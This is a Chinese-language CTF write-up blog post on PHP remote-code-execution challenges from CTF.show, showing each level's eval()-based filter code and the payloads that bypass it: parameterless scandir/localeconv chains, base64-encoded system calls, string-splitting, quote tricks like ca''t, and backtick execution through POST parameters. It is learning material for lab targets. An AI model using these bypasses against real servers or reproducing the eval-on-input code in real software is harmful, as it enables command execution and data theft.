CTFTF_RCE专题
liduoan.efls Engineer

2020.04.14

今天写了写CTF.show的题目

遇到了一大堆的RCE的题目

有些操作没见到过。写一写

其实好多都可知利用无参RCE直接写出来的。先回顾一下读取的函数吧

file_get_contents()

print_r

highlight_file

echo

这些都尤其的经常使用

再说说几乎可以过大多数的RCE方法

无参RCE

下面是payload:

file_get_contents(next(array_reverse(scandir(pos(localeconv())))))

pos(localeconv()):获得点’.’

scandir():获取当前目录有啥

array_reverse:键值反转

再来说说这些题目:

web9

1
2
3
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}

要求使用里边三个函数来操作!

补充一下exec函数的知识

image

web10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

很清晰 过滤了一些函数。但是没有过滤file_get_contnts()

所以,payload:print_r(file_get_contents('config.php'));

第二种方法,使用动态调用 注意 这是绕过的一个好方法

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。

web11

禁用了cat 还有好多的命令!

例如echo 或者 利用ca''t过滤

这里是因为 再Linux命令中, ''可以绕过!

web12

这里是代码注入!不是命令执行!

所以我们的命令是可以进行编码绕过的!这很关键!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

$a = base64_decode('c3lzdGVt'); 这里编码system

$b=base64_decode('Y2F0IGNvbmZpZy5waHA='); 这里编码命令

$a($b); 动态调用代码!

同时还有一种方法:

在Linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat ls 相当于将 ls出来的结果cat

1
2
3
4
5
?c=passthru(" ca''t `ls`");
这里passthru 又是一个系统命令执行的函数! 所以不是只有system啊!
如果把分号过滤了
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

web13

先看看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

注意代码注入!

恶心的把小括号都过滤了! 那咋办嘛

这又有一个新方法!

1
?c=echo `$_POST[1]`?>

然后再post传入

1=cat config.php

备注:

大都时候我们使用system()等函数执行系统命令,在一些的严格正则匹配情况下,过滤掉了大多数的命令执行函数,但是PHP有执行运算符,也就是反引号,和shell_exec() system()一样,可以执行系统命令。

https://www.php.net/manual/zh/language.operators.execution.php

但是,反引号执行却没有任何回显

这也就是为什么前面需要用到echo函数!

web15

先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
//特殊符号 *?<> = ( .
//函数 system exec highlight
//命令 cat
//名字 file php comnfig
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

1、编码绕过 因为过滤了( 所以大多数的函数都用不了

2、执行系统命令 反引号 echo 输出 echo没绕过

3、名字过滤 利用POST传参

1
2
3
POST /?c=echo%20`$_POST[2]`;   HTTP/1.1

2=cat `ls`

如果想直接输出目录下! 请用上述的方法!

总结一下

动态调用

无参RCE

POST传参

反引号命令执行

shell里面’’无用

今天就写到这吧

好迷茫啊。到底应该学什么!!!!